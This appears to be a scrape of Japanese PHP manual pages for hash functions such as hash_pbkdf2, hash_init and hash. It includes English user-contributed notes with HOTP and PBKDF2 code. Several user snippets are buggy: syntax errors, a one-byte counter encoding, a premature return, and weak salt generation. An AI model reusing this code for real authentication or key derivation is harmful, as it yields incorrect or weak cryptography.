HOTP Algorithm that works according to the RCF http://tools.ietf.org/html/draft-mraihi-oath-hmac-otp-04
The test cases from the RCF document the ASCII string as "123456787901234567890".
But the hex decoded to a string is "12345678901234567890".
Secret="12345678901234567890";
Count:
0 755224
1 287082
<?php
function oath_hotp($key,$counter) {

   // Convert to padded binary string
   $data = pack ('C*', $counter);
   $data = str_pad($data,8,chr(0),STR_PAD_LEFT);

   // HMAC
   return hash_hmac('sha1',$data,$key);
}

function oath_truncate($hash, $length = 6) {

   // Convert to dec
   foreach(str_split($hash,2) as $hex) {
      $hmac_result[]=hexdec($hex);
   }

   // Find offset
   $offset = $hmac_result[19] & 0xf;

   // Algorithm from RFC
   return (
         (($hmac_result[$offset+0] & 0x7f) << 24 ) |
         (($hmac_result[$offset+1] & 0xff) << 16 ) |
         (($hmac_result[$offset+2] & 0xff) << 8 ) |
         ($hmac_result[$offset+3] & 0xff)
         ) % pow(10,$length);
}

print "<pre>";
print "Compare results with:"
print " http://tools.ietf.org/html/draft-mraihi-oath-hmac-otp-04\n";
print "Count\tHash\t\t\t\t\t\tPin\n";
for($i=0;$i<10;$i++)
   print $i."\t".($a=oath_hotp("12345678901234567890",$i))
   print "\t".oath_truncate($a)."\n";
Carlos Averett(caverett*@*corecodec,net) 03-Jul-2008 03:54
Generating OATH-compliant OTP (one time passwords) results in PHP:

<?php
$otp = oath_truncate (oath_hotp ($key, $counter), $length);
function oath_hotp ($key, $counter) {
        // Counter
        $bin_counter = pack ('C*', $counter);

        // Pad to 8 chars
        if (strlen ($bin_counter) < 8) {
                $bin_counter = str_repeat (chr(0), 8 - strlen ($bin_counter)) . $bin_counter;
        }

        // HMAC
        $hash = hash_hmac ('sha1', $bin_counter, $key);
        return $hash;
}

function oath_truncate ($hash, $length = 6) {
        // The last byte is used as an offset
        $offset = hexdec (substr ($hash, 38)) & 0xf;

        // Extract the relevant part, and clear the first bit
        $hex_truncated = substr ($hash, $offset * 2, 8);
        $bin_truncated = decbin (hexdec ($hex_truncated));
        $bin_truncated[0] = '0';
        $dec_truncated = bindec ($bin_truncated);

        return substr ($dec_truncated, 0 - $length);
}
?>


段階的なハッシュコンテキストを初期化する

  • ≪ hash_hmac
  • hash_pbkdf2 ≫
  • PHP Manual
  • Hash 関数
  • 段階的なハッシュコンテキストを初期化する

hash_init

(PHP 5 >= 5.1.2, PHP 7, PHP 8, PECL hash >= 1.1)

hash_init — 段階的なハッシュコンテキストを初期化する

説明

hash_init ( string $algo , int $flags = 0 , string $key = "" ) : HashContext

パラメータ

algo

選択したアルゴリズムの名前 (すなわち "md5"、"sha256"、"haval160,4" など...)。 サポートされているアルゴリズムの一覧については、hash_algos() を参照してください。

flags

ハッシュ生成の際に使用するオプションで、現在は、ただひとつ HASH_HMAC のみをサポートしています。これが 指定された場合、key を 必ず指定しなければなりません。

key

flags に HASH_HMAC が指定された場合に、HMAC 形式のハッシュで使用される共有の秘密鍵を 設定する必要があります。

返り値

hash_update()、
hash_update_stream()、hash_update_file()
および hash_final() で使用するハッシュコンテキストを
返します。

変更履歴

バージョン | 説明
7.2.0 | 暗号に適さないハッシュ関数 (adler32, crc32, crc32b, fnv132, fnv1a32, fnv164, fnv1a64, joaat) は使えなくなりました。
7.2.0 | リソースの代わりに HashContext を返すようになりました。

例

例1 段階的なハッシュの例

<?php
$ctx = hash_init('md5');
hash_update($ctx, 'The quick brown fox ');
hash_update($ctx, 'jumped over the lazy dog.');
echo hash_final($ctx);
?>

上の例の出力は以下となります。

5c6ffbdd40d9556b73a21e63c3e0e904

参考

  • hash() - ハッシュ値 (メッセージダイジェスト) を生成する
  • hash_algos() - 登録されているハッシュアルゴリズムの一覧を返す
  • hash_file() - ファイルの内容から、ハッシュ値を生成する
  • hash_hmac() - HMAC 方式を使用してハッシュ値を生成する
  • hash_hmac_file() - HMAC 方式を使用して、指定されたファイルの内容からハッシュ値を生成する

User Contributed Notes

There are no user contributed notes for this page.


PBKDF2 を使ってパスワードからキーを生成する

  • ≪ hash_init
  • hash_update_file ≫
  • PHP Manual
  • Hash 関数
  • PBKDF2 を使ってパスワードからキーを生成する

hash_pbkdf2

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

hash_pbkdf2 — PBKDF2 を使ってパスワードからキーを生成する

説明

hash_pbkdf2 ( string $algo , string $password , string $salt , int $iterations , int $length = 0 , bool $binary = false ) : string

パラメータ

algo

ハッシュアルゴリズムの名前 (たとえば md5, sha256, haval160,4 など)。サポートされるアルゴリズムの一覧は hash_algos() をご参照ください。

password

派生に使うパスワード

salt

派生に使うソルト。ランダムに生成した値でなければいけません。

iterations

派生の実行の際の内部の反復回数

length

出力する文字列の長さ。binary が true の場合、これは派生キーのバイト長になります。 binary が false の場合、 これは派生キーのバイト長の二倍になります (キーの全バイトが十六進二桁で返されるからです)。

binary

true にセットされている場合、名前のバイナリデータが出力されます。false の場合、小文字の16進数が出力されます。

返り値

小文字の16進数を含む文字列が返されます。binary が true の場合、派生キーの生のバイナリ表現が返されます。

エラー / 例外

E_WARNING が発生するのはアルゴリズムが未知である場合、iterations パラメータが 0 以下である場合、length が 0 以下である場合、salt が長すぎる場合 (INT_MAX - 4 よりも大きい) です。

変更履歴

バージョン | 説明
7.2.0 | 暗号の使用に適さないハッシュ関数 (adler32, crc32, crc32b, fnv132, fnv1a32, fnv164, fnv1a64, joaat) は使えなくなりました。

例

例1 hash_pbkdf2() の基本的な使い方の例

<?php
$password = "password";
$iterations = 1000;

// ランダムな IV を、openssl_random_pseudo_bytes() や
// random_bytes() などの適切なソースを使って生成します。
$salt = openssl_random_pseudo_bytes(16);

$hash = hash_pbkdf2("sha256", $password, $salt, $iterations, 20);
echo $hash;
?>

上の例の出力は、 たとえば以下のようになります。

120fb6cffcf8b32c43e7

注意

警告

PBKDF2 による方法はパスワードのハッシュを保存するために使うことができます。 しかし、password_hash() や crypt() で CRYPT_BLOWFISH を使うのほうが、パスワードの保存に適しています。

参考

  • crypt() - 文字列の一方向のハッシュ化を行う
  • password_hash() - パスワードハッシュを作る
  • hash() - ハッシュ値 (メッセージダイジェスト) を生成する
  • hash_algos() - 登録されているハッシュアルゴリズムの一覧を返す
  • hash_init() - 段階的なハッシュコンテキストを初期化する
  • hash_hmac() - HMAC 方式を使用してハッシュ値を生成する
  • hash_hmac_file() - HMAC 方式を使用して、指定されたファイルの内容からハッシュ値を生成する
  • openssl_pbkdf2() - PKCS5 v2 の PBKDF2 文字列を生成する

User Contributed Notes

php - ober-mail - de 04-Feb-2021 12:57
If you are wondering what the requirements are for the salt, have a look at the RFC[1]:

"The salt parameter should be a random string containing at least 64 bits of entropy. That means when generated from a function like *mcrypt_create_iv*, at least 8 bytes long. But for salts that consist of only *a-zA-Z0-9* (or are base_64 encoded), the minimum length should be at least 11 characters. It should be generated random for each password that's hashed, and stored along side the generated key."

[1] https://wiki.php.net/rfc/hash_pbkdf2
php . ober-mail . de 04-Feb-2021 12:56
If you are wondering what the requirements are for the salt, have a look at the RFC[1]:

"The salt parameter should be a random string containing at least 64 bits of entropy. That means when generated from a function like *mcrypt_create_iv*, at least 8 bytes long. But for salts that consist of only *a-zA-Z0-9* (or are base_64 encoded), the minimum length should be at least 11 characters. It should be generated random for each password that's hashed, and stored along side the generated key."

[1] https://wiki.php.net/rfc/hash_pbkdf2
php at ober-mail dot de 04-Feb-2021 12:55
If you are wondering what the requirements are for the salt, have a look at the RFC[1]:

"The salt parameter should be a random string containing at least 64 bits of entropy. That means when generated from a function like *mcrypt_create_iv*, at least 8 bytes long. But for salts that consist of only *a-zA-Z0-9* (or are base_64 encoded), the minimum length should be at least 11 characters. It should be generated random for each password that's hashed, and stored along side the generated key."

[1] https://wiki.php.net/rfc/hash_pbkdf2
Yahe 19-Oct-2019 06:24
On an error hash_pbkdf2() will not just raise an E_WARNING but it will also return FALSE.
gfilippakis at sleed dot gr 02-Jul-2019 12:16
This is a very basic implementation of Rfc2898DeriveBytes class with only 2 of its constructors in case someone else finds it useful.

class Rfc2898DeriveBytes
{
    private $textToHash;
    private $saltByteSize;

    public $salt;

    public function __construct($arg1, $arg2)
    {
        if (is_string($arg1) && is_integer($arg2)) {
            $this->textToHash = $arg1;
            $this->saltByteSize = $arg2;
            $this->salt = substr(
                hex2bin(sha1(uniqid('', true))),
                0,
                $this->saltByteSize
            );
        } elseif (is_string($arg1) && is_string($arg2)) {
            $this->textToHash = $arg1;
            $this->salt = $arg2;
        }
    }

    public function getBytes($size)
    {
        return hash_pbkdf2(
            "sha1",
            $this->textToHash,
            $this->salt,
            1000,
            $size,
            true
        );
    }
}
Flimm 12-Jan-2018 04:56
Note that if $raw_output is false, then the output will be encoded using lowercase hexits. Some other systems (such as Django 2.0) use base64 instead. So if you're trying to generate hash strings that are compatible with those systems, you can use the base64_encode function, like this:

<?php

echo base64_encode( hash_pbkdf2( "sha256", "example password", "BbirbJq1C1G7", 100000, 0, true ) );

?>
clarence.pchy(at)gmail.com 06-Sep-2016 08:40
Please pay great attention to the **$length** parameter! It is exactly the **return string length**, NOT the length of raw binary hash result.

I had a big problem about this --
I thought that `hash_pbkdf2(...false)` should equals to `bin2hex(hash_pbkdf2(...true))` just like `md5($x)` equals `bin2hex(md5($x, true))`. However I was wrong:

hash_pbkdf2('sha256', '123456', 'abc', 10000, 50, false); // returns string(50) "584bc5b41005169f1fa15177edb78d75f9846afc466a4bae05"
hash_pbkdf2('sha256', '123456', 'abc', 10000, 50, true); // returns string(50) "XK???Qw?u??j?FjK???BFW?YpG    ?mp.g2?`;N?"
bin2hex(hash_pbkdf2('sha256', '123456', 'abc', 10000, 50, true)); // returns string(100) "584bc5b41005169f1fa15177edb78d75f9846afc466a4bae05119c82424657c81b5970471f098a6d702e6732b7603b194efe"

So I add such a note. Hope it will help someone else like me.
nimasdj [AT] yahoo [DOT] com 05-Jan-2016 12:08
There is a mistake in the class provided by Binod Kumar Luitel (http://php.net/manual/en/function.hash-pbkdf2.php#113488):
this line:
return bin2hex(substr($this->output, 0, $this->key_length));
must be changed to:
return substr(bin2hex($this->output), 0, $this->key_length);
Trevor Herselman 11-Nov-2015 01:45
This is a light-weight drop-in replacement for PHP's hash_pbkdf2(); written for compatibility with older versions of PHP.
Written, formatted and tested by myself, but using code and ideas based on the following:
https://defuse.ca/php-pbkdf2.htm
https://github.com/rchouinard/hash_pbkdf2-compat/blob/master/src/hash_pbkdf2.php
https://gist.github.com/rsky/5104756

My main goals:
1) Maximum compatibility with PHP hash_pbkdf2(), ie. a drop-in replacement function
2) Minimum code size/bloat
3) Easy to copy/paste
4) No classes, and not encapsulated in a class! Why write a class when a simple function will do?
5) Eliminate calls to sprintf(). (used by other examples for the error reporting)
6) No other dependencies, ie. extra required functions

<?php
if (!function_exists('hash_pbkdf2'))
{
    function hash_pbkdf2($algo, $password, $salt, $count, $length = 0, $raw_output = false)
    {
        if (!in_array(strtolower($algo), hash_algos())) trigger_error(__FUNCTION__ . '(): Unknown hashing algorithm: ' . $algo, E_USER_WARNING);
        if (!is_numeric($count)) trigger_error(__FUNCTION__ . '(): expects parameter 4 to be long, ' . gettype($count) . ' given', E_USER_WARNING);
        if (!is_numeric($length)) trigger_error(__FUNCTION__ . '(): expects parameter 5 to be long, ' . gettype($length) . ' given', E_USER_WARNING);
        if ($count <= 0) trigger_error(__FUNCTION__ . '(): Iterations must be a positive integer: ' . $count, E_USER_WARNING);
        if ($length < 0) trigger_error(__FUNCTION__ . '(): Length must be greater than or equal to 0: ' . $length, E_USER_WARNING);

        $output = '';
        $block_count = $length ? ceil($length / strlen(hash($algo, '', $raw_output))) : 1;
        for ($i = 1; $i <= $block_count; $i++)
        {
            $last = $xorsum = hash_hmac($algo, $salt . pack('N', $i), $password, true);
            for ($j = 1; $j < $count; $j++)
            {
                $xorsum ^= ($last = hash_hmac($algo, $last, $password, true));
            }
            $output .= $xorsum;
        }

        if (!$raw_output) $output = bin2hex($output);
        return $length ? substr($output, 0, $length) : $output;
    }
}
Peter 21-Nov-2013 03:03
See also https://github.com/rchouinard/hash_pbkdf2-compat for a compatibility function
does dot not at matter dot org 25-Oct-2013 03:30
this snippet was posted over a year ago on a dutch PHP community: (reference/source: http://www.phphulp.nl/php/script/beveiliging/pbkdf2-een-veilige-manier-om-wachtwoorden-op-te-slaan/1956/pbkdf2php/1757/)

<?php

/**
 * @author Chris Horeweg
 * @package Security_Tools
 */

function pbkdf2($password, $salt, $algorithm = 'sha512', $count = 20000, $key_length = 128, $raw_output = false)
{
    if(!in_array($algorithm, hash_algos(), true)) {
        exit('pbkdf2: Hash algoritme is niet geinstalleerd op het systeem.');
    }

    if($count <= 0 || $key_length <= 0) {
        $count = 20000;
        $key_length = 128;
    }

    $hash_length = strlen(hash($algorithm, "", true));
    $block_count = ceil($key_length / $hash_length);

    $output = "";
    for($i = 1; $i <= $block_count; $i++) {
        $last = $salt . pack("N", $i);
        $last = $xorsum = hash_hmac($algorithm, $last, $password, true);
        for ($j = 1; $j < $count; $j++) {
            $xorsum ^= ($last = hash_hmac($algorithm, $last, $password, true));
        }
        $output .= $xorsum;
    }

    if($raw_output) {
        return substr($output, 0, $key_length);
    }
    else {
        return base64_encode(substr($output, 0, $key_length));
    }
}
Binod Kumar Luitel 17-Oct-2013 10:25
People who wants pure PHP implementation of the function, i.e. who don't have PHP 5.5 installed within their server, can use the following implementation. Nothing has been modified so far as from reference https://defuse.ca/php-pbkdf2.htm but the OOP lovers might like this.
For more information about PBKDF2 see: http://en.wikipedia.org/wiki/PBKDF2

<?php
/**
 * PBKDF2 key derivation function as defined by RSA's PKCS #5: https://www.ietf.org/rfc/rfc2898.txt
 * $algorithm - The hash algorithm to use. Recommended: SHA256
 * $password - The password.
 * $salt - A salt that is unique to the password.
 * $count - Iteration count. Higher is better, but slower. Recommended: At least 1000.
 * $key_length - The length of the derived key in bytes.
 * $raw_output - If true, the key is returned in raw binary format. Hex encoded otherwise.
 * Returns: A $key_length-byte key derived from the password and salt.
 */
if (!function_exists("hash_pbkdf2")) {
    function hash_pbkdf2($algorithm, $password, $salt, $count, $key_length, $raw_output = false) {

        class pbkdf2 {
            public $algorithm;
            public $password;
            public $salt;
            public $count;
            public $key_length;
            public $raw_output;

            private $hash_length;
            private $output         = "";

            public function __construct($data = null)
            {
                if ($data != null) {
                    $this->init($data);
                }
            }

            public function init($data)
            {
                $this->algorithm  = $data["algorithm"];
                $this->password   = $data["password"];
                $this->salt       = $data["salt"];
                $this->count      = $data["count"];
                $this->key_length = $data["key_length"];
                $this->raw_output = $data["raw_output"];
            }

            public function hash()
            {
                $this->algorithm = strtolower($this->algorithm);
                if(!in_array($this->algorithm, hash_algos(), true))
                    throw new Exception('PBKDF2 ERROR: Invalid hash algorithm.');

                if($this->count <= 0 || $this->key_length <= 0)
                    throw new Exception('PBKDF2 ERROR: Invalid parameters.');

                $this->hash_length = strlen(hash($this->algorithm, "", true));
                $block_count = ceil($this->key_length / $this->hash_length);
                for ($i = 1; $i <= $block_count; $i++) {
                    // $i encoded as 4 bytes, big endian.
                    $last = $this->salt . pack("N", $i);
                    // first iteration
                    $last = $xorsum = hash_hmac($this->algorithm, $last, $this->password, true);
                    // perform the other $this->count - 1 iterations
                    for ($j = 1; $j < $this->count; $j++) {
                        $xorsum ^= ($last = hash_hmac($this->algorithm, $last, $this->password, true));
                    }
                    $this->output .= $xorsum;
                    if($this->raw_output)
                        return substr($this->output, 0, $this->key_length);
                    else
                        return bin2hex(substr($this->output, 0, $this->key_length));
                }
            }
        }

        $data = array('algorithm' => $algorithm, 'password' => $password, 'salt' => $salt, 'count' => $count, 'key_length' => $key_length, 'raw_output' => $raw_output);
        try {
            $pbkdf2 = new pbkdf2($data);
            return $pbkdf2->hash();
        } catch (Exception $e) {
            throw $e;
        }
    }
}
Anonymous 13-Jul-2013 04:29
Sadly this function was added in PHP 5.5 but many webservers just provide PHP 5.3. But there exists a pure PHP implementation (found here: https://defuse.ca/php-pbkdf2.htm).
I took this implementation, put it into a class with comments for PHPDoc and added a switch so that the native PHP function is used if available.

Feel free to use it!
http://pastebin.com/f5PDq735
(Posted on pastebin.com since the text would have been too long)


アクティブなハッシュコンテキストに、ファイルからデータを投入する

  • ≪ hash_pbkdf2
  • hash_update_stream ≫
  • PHP Manual
  • Hash 関数
  • アクティブなハッシュコンテキストに、ファイルからデータを投入する

hash_update_file

(PHP 5 >= 5.1.2, PHP 7, PHP 8, PECL hash >= 1.1)

hash_update_file — アクティブなハッシュコンテキストに、ファイルからデータを投入する

説明

hash_update_file ( HashContext $context , string $filename , resource|null $stream_context = null ) : bool

パラメータ

context

hash_init() が返すハッシュコンテキスト。

filename

ハッシュ対象となるファイルの位置を示す URL。 fopen ラッパーをサポートしています。

stream_context

stream_context_create() が返す ストリームコンテキスト。

返り値

成功した場合に true を、失敗した場合に false を返します。

変更履歴

バージョン | 説明
8.0.0 | stream_context は、nullable になりました。
7.2.0 | リソースの代わりに HashContext を受け入れるようになりました。

参考

  • hash_init() - 段階的なハッシュコンテキストを初期化する
  • hash_update() - アクティブなハッシュコンテキストにデータを投入する
  • hash_update_stream() - アクティブなハッシュコンテキストに、オープンしているストリームから データを投入する
  • hash_final() - 段階的なハッシュ処理を終了し、出来上がったダイジェストを返す
  • hash() - ハッシュ値 (メッセージダイジェスト) を生成する
  • hash_file() - ファイルの内容から、ハッシュ値を生成する

User Contributed Notes

There are no user contributed notes for this page.


アクティブなハッシュコンテキストに、オープンしているストリームから データを投入する

  • ≪ hash_update_file
  • hash_update ≫
  • PHP Manual
  • Hash 関数
  • アクティブなハッシュコンテキストに、オープンしているストリームから データを投入する

hash_update_stream

(PHP 5 >= 5.1.2, PHP 7, PHP 8, PECL hash >= 1.1)

hash_update_stream — アクティブなハッシュコンテキストに、オープンしているストリームから データを投入する

説明

hash_update_stream ( HashContext $context , resource $stream , int $length = -1 ) : int

パラメータ

context

hash_init() が返すハッシュコンテキスト。

stream

ストリーム作成用の関数が返す、オープンしているファイルハンドル。

length

stream からハッシュコンテキストにコピーする 最大文字数。

返り値

stream からハッシュコンテキストに追加された 実際のバイト数を返します。

変更履歴

バージョン | 説明
7.2.0 | リソースの代わりに HashContext を受け入れるようになりました。

例

例1 hash_update_stream() の例

<?php
$fp = tmpfile();
fwrite($fp, 'The quick brown fox jumped over the lazy dog.');
rewind($fp);

$ctx = hash_init('md5');
hash_update_stream($ctx, $fp);
echo hash_final($ctx);
?>

上の例の出力は以下となります。

5c6ffbdd40d9556b73a21e63c3e0e904

参考

  • hash_init() - 段階的なハッシュコンテキストを初期化する
  • hash_update() - アクティブなハッシュコンテキストにデータを投入する
  • hash_final() - 段階的なハッシュ処理を終了し、出来上がったダイジェストを返す
  • hash() - ハッシュ値 (メッセージダイジェスト) を生成する
  • hash_file() - ファイルの内容から、ハッシュ値を生成する

User Contributed Notes

There are no user contributed notes for this page.


アクティブなハッシュコンテキストにデータを投入する

  • ≪ hash_update_stream
  • hash ≫
  • PHP Manual
  • Hash 関数
  • アクティブなハッシュコンテキストにデータを投入する

hash_update

(PHP 5 >= 5.1.2, PHP 7, PHP 8, PECL hash >= 1.1)

hash_update — アクティブなハッシュコンテキストにデータを投入する

説明

hash_update ( HashContext $context , string $data ) : bool

パラメータ

context

hash_init() が返すハッシュコンテキスト。

data

ハッシュダイジェストに含めるメッセージ。

返り値

true を返します。

変更履歴

バージョン | 説明
7.2.0 | リソースの代わりに HashContext を受け入れるようになりました。

参考

  • hash_init() - 段階的なハッシュコンテキストを初期化する
  • hash_update_file() - アクティブなハッシュコンテキストに、ファイルからデータを投入する
  • hash_update_stream() - アクティブなハッシュコンテキストに、オープンしているストリームから データを投入する
  • hash_final() - 段階的なハッシュ処理を終了し、出来上がったダイジェストを返す

User Contributed Notes

Dainichi 24-Jul-2006 06:19
A simple example on incremental file hashing:

$fp = fopen($file, "r");
$ctx = hash_init('sha256');
while (!feof($fp)) {
    $buffer = fgets($fp, 65536);
    hash_update($ctx, $buffer);
}
$hash = hash_final($ctx, true);
fclose($fp);

While incremental hashing is quite slow, it's the easiest way to hash
- parts of large files: I.e., a 700MB avi video uses first x bytes to store metadata, so in order to hash the avi's data only, you have to fseek to data start and use incremental hashing
- streaming data if php just proxies the data
- whenever it's inadequate or impossible to store the data being hashed into memory (i.e. because of their size) or on disc.


ハッシュ値 (メッセージダイジェスト) を生成する

  • ≪ hash_update
  • Mcrypt ≫
  • PHP Manual
  • Hash 関数
  • ハッシュ値 (メッセージダイジェスト) を生成する

hash

(PHP 5 >= 5.1.2, PHP 7, PHP 8, PECL hash >= 1.1)

hash — ハッシュ値 (メッセージダイジェスト) を生成する

説明

hash ( string $algo , string $data , bool $binary = false ) : string|false

パラメータ

algo

選択したアルゴリズムの名前 (すなわち "md5"、"sha256"、"haval160,4" など...)。 サポートされているアルゴリズムの一覧は hash_algos() を参照して下さい。

data

ハッシュするメッセージ。

binary

true を設定すると、生のバイナリデータを出力します。 false の場合は小文字の 16 進数値となります。

返り値

binary が true に設定されていない場合は、 メッセージダイジェストの計算結果を小文字の 16 進数値形式の文字列で 返します。もし true に設定されていた場合は、メッセージダイジェストが そのままのバイナリ形式で返されます。

例

例1 hash() の例

<?php
echo hash('ripemd160', 'The quick brown fox jumped over the lazy dog.');
?>

上の例の出力は以下となります。

ec457d0a974c48d5685a7efa03d137dc8bbde7e3

例2 PHP 5.4 より前のバージョンでの tiger ハッシュの、PHP 5.4 以降での計算

<?php
function old_tiger($data = "", $width=192, $rounds = 3) {
    return substr(
        implode(
            array_map(
                function ($h) {
                    return str_pad(bin2hex(strrev($h)), 16, "0");
                },
                str_split(hash("tiger192,$rounds", $data, true), 8)
            )
        ),
        0, 48-(192-$width)/4
    );
}
echo hash('tiger192,3', 'a-string'), PHP_EOL;
echo old_tiger('a-string'), PHP_EOL;
?>

上の例の PHP 5.3 での出力は、このようになります。

146a7492719b3564094efe7abbd40a7416fd900179d02773
64359b7192746a14740ad4bb7afe4e097327d0790190fd16

上の例の PHP 5.4 での出力は、このようになります。

64359b7192746a14740ad4bb7afe4e097327d0790190fd16
146a7492719b3564094efe7abbd40a7416fd900179d02773

参考

  • hash_file() - ファイルの内容から、ハッシュ値を生成する
  • hash_hmac() - HMAC 方式を使用してハッシュ値を生成する
  • hash_init() - 段階的なハッシュコンテキストを初期化する
  • md5() - 文字列のmd5ハッシュ値を計算する
  • sha1() - 文字列の sha1 ハッシュを計算する

User Contributed Notes

Anonymous 16-Apr-2020 04:19
<?PHP
function allhash($d){
    foreach(hash_algos() as $v){
        $r[] = "$v\t Length: ".strlen(hash($v, $d));
    }
    return $r;
}

print_r(allhash(1));
?>
output:

Array
(
    [0] => md2   Length: 32
    [1] => md4   Length: 32
    [2] => md5   Length: 32
    [3] => sha1  Length: 40
    [4] => sha224        Length: 56
    [5] => sha256        Length: 64
    [6] => sha384        Length: 96
    [7] => sha512/224    Length: 56
    [8] => sha512/256    Length: 64
    [9] => sha512        Length: 128
    [10] => sha3-224     Length: 56
    [11] => sha3-256     Length: 64
    [12] => sha3-384     Length: 96
    [13] => sha3-512     Length: 128
    [14] => ripemd128    Length: 32
    [15] => ripemd160    Length: 40
    [16] => ripemd256    Length: 64
    [17] => ripemd320    Length: 80
    [18] => whirlpool    Length: 128
    [19] => tiger128,3   Length: 32
    [20] => tiger160,3   Length: 40
    [21] => tiger192,3   Length: 48
    [22] => tiger128,4   Length: 32
    [23] => tiger160,4   Length: 40
    [24] => tiger192,4   Length: 48
    [25] => snefru       Length: 64
    [26] => snefru256    Length: 64
    [27] => gost         Length: 64
    [28] => gost-crypto  Length: 64
    [29] => adler32      Length: 8
    [30] => crc32        Length: 8
    [31] => crc32b       Length: 8
    [32] => crc32c       Length: 8
    [33] => fnv132       Length: 8
    [34] => fnv1a32      Length: 8
    [35] => fnv164       Length: 16
    [36] => fnv1a64      Length: 16
    [37] => joaat        Length: 8
    [38] => haval128,3   Length: 32
    [39] => haval160,3   Length: 40
    [40] => haval192,3   Length: 48
    [41] => haval224,3   Length: 56
    [42] => haval256,3   Length: 64
    [43] => haval128,4   Length: 32
    [44] => haval160,4   Length: 40
    [45] => haval192,4   Length: 48
    [46] => haval224,4   Length: 56
    [47] => haval256,4   Length: 64
    [48] => haval128,5   Length: 32
    [49] => haval160,5   Length: 40
    [50] => haval192,5   Length: 48
    [51] => haval224,5   Length: 56
    [52] => haval256,5   Length: 64
)
synnus at gmail dot com 15-Dec-2019 12:07
<?php

/* PHP 7.4

n°   hash  results
1.   adler32 (hex)       555.992 ms
2.   adler32 (raw)       556.945 ms
3.   fnv132 (raw)        1107.931 ms
4.   fnv1a64 (raw)       1107.931 ms
5.   fnv164 (raw)        1108.169 ms
6.   fnv1a32 (raw)       1108.884 ms
7.   fnv164 (hex)        1108.884 ms
8.   fnv1a64 (hex)       1109.123 ms
9.   fnv132 (hex)        1116.991 ms
10.  fnv1a32 (hex)       1147.985 ms
11.  tiger192,3 (raw)    1523.017 ms
12.  tiger192,3 (hex)    1532.077 ms
13.  tiger128,3 (hex)    1538.038 ms
14.  tiger128,3 (raw)    1546.144 ms
15.  md4 (raw)           1554.965 ms
16.  md4 (hex)           1565.933 ms
17.  tiger160,3 (raw)    1574.039 ms
18.  tiger160,3 (hex)    1588.106 ms
19.  joaat (hex)         1661.777 ms
20.  joaat (raw)         1662.969 ms
21.  md5 (raw)           1822.948 ms
22.  md5 (hex)           1842.975 ms
23.  tiger160,4 (hex)    1996.994 ms
24.  tiger160,4 (raw)    2007.961 ms
25.  tiger128,4 (raw)    2035.14 ms
26.  tiger192,4 (raw)    2043.962 ms
27.  tiger128,4 (hex)    2065.896 ms
28.  tiger192,4 (hex)    2070.903 ms
29.  sha1 (hex)          2254.009 ms
30.  sha1 (raw)          2326.011 ms
31.  sha3-224 (hex)      2768.039 ms
32.  sha3-224 (raw)      2783.06 ms
33.  sha512 (hex)        2936.124 ms
34.  sha512 (raw)        2943.992 ms
35.  sha3-256 (hex)      2945.899 ms
36.  sha3-256 (raw)      2970.933 ms
37.  sha512/224 (raw)    2990.007 ms
38.  sha384 (raw)        3006.935 ms
39.  sha512/224 (hex)    3010.988 ms
40.  sha512/256 (raw)    3024.101 ms
41.  sha384 (hex)        3036.975 ms
42.  ripemd256 (raw)     3068.923 ms
43.  ripemd256 (hex)     3072.023 ms
44.  ripemd128 (raw)     3077.03 ms
45.  ripemd128 (hex)     3123.998 ms
46.  sha512/256 (hex)    3184.08 ms
47.  haval256,3 (hex)    3671.884 ms
48.  haval224,3 (hex)    3776.073 ms
49.  sha3-384 (hex)      3777.98 ms
50.  haval128,3 (raw)    3823.041 ms
51.  haval128,3 (hex)    3829.002 ms
52.  sha3-384 (raw)      3835.916 ms
53.  haval256,3 (raw)    3852.128 ms
54.  haval224,3 (raw)    3855.943 ms
55.  haval160,3 (raw)    3859.996 ms
56.  haval160,3 (hex)    3862.857 ms
57.  haval192,3 (raw)    3892.898 ms
58.  haval192,3 (hex)    3922.939 ms
59.  crc32c (hex)        4080.057 ms
60.  ripemd160 (hex)     4091.024 ms
61.  ripemd160 (raw)     4094.123 ms
62.  ripemd320 (raw)     4114.866 ms
63.  crc32b (hex)        4116.058 ms
64.  crc32 (raw)         4118.919 ms
65.  ripemd320 (hex)     4175.186 ms
66.  crc32c (raw)        4180.908 ms
67.  crc32 (hex)         4194.974 ms
68.  crc32b (raw)        4208.803 ms
69.  sha224 (hex)        4735.946 ms
70.  sha256 (raw)        4753.112 ms
71.  sha256 (hex)        4761.934 ms
72.  sha224 (raw)        4762.887 ms
73.  haval192,4 (raw)    5304.098 ms
74.  haval160,4 (raw)    5308.151 ms
75.  haval128,4 (raw)    5323.886 ms
76.  haval192,4 (hex)    5346.059 ms
77.  haval128,4 (hex)    5351.066 ms
78.  haval256,4 (hex)    5367.04 ms
79.  haval256,4 (raw)    5378.007 ms
80.  haval224,4 (raw)    5398.988 ms
81.  haval224,4 (hex)    5413.055 ms
82.  sha3-512 (raw)      5460.023 ms
83.  sha3-512 (hex)      5527.973 ms
84.  haval160,4 (hex)    5529.88 ms
85.  haval192,5 (hex)    6403.923 ms
86.  haval160,5 (raw)    6499.052 ms
87.  haval128,5 (raw)    6513.833 ms
88.  haval160,5 (hex)    6540.06 ms
89.  haval128,5 (hex)    6541.013 ms
90.  haval192,5 (raw)    6566.047 ms
91.  haval224,5 (raw)    6567.001 ms
92.  haval256,5 (hex)    6577.014 ms
93.  haval224,5 (hex)    6598.949 ms
94.  haval256,5 (raw)    6598.949 ms
95.  whirlpool (raw)     9627.103 ms
96.  whirlpool (hex)     9634.017 ms
97.  gost (raw)          18457.889 ms
98.  gost-crypto (raw)   18479.824 ms
99.  gost (hex)          18527.03 ms
100.  gost-crypto (hex)  18530.13 ms
101.  snefru256 (hex)    36260.843 ms
102.  snefru256 (raw)    36325.931 ms
103.  snefru (hex)       36480.903 ms
104.  snefru (raw)       36496.877 ms
105.  md2 (raw)          184617.996 ms
106.  md2 (hex)          185398.101 ms

*/
?>
Ricardo Striquer (ricardophp yohoocombr) 21-Sep-2018 04:46
I haven't done any test or actual study (I'm using crc32 and storing it in mysql signed int types), but if your algorithm of choice is bigger them the supported integer of your database I suppose it is possible that the raw_format option is the best option to store directly in the database without type casting demands for it results in a binary string value.

To check if your algorithm of choice have the supported integer size in your database just strlen the raw_format output and see how many bytes it have (for example: crc32 have 4 bytes output, sha256 have 32 e md5 possue 16).

<?php
var_dump(strlen(hash('md5', 'string to check', true))); // int(16)
?>

PS: You can always use floating points to store a very big number but for "common humans" binary types by and large are easier to check, understand and maintain, so i recommend to use binary, but if you are about speed them floating point could be your friend.

PS: remembering ... without the raw_format the returned value are hexadecimal values without the 'Hx' complement, so to transform the result into a decimal just hexdec as shown ...

<?php
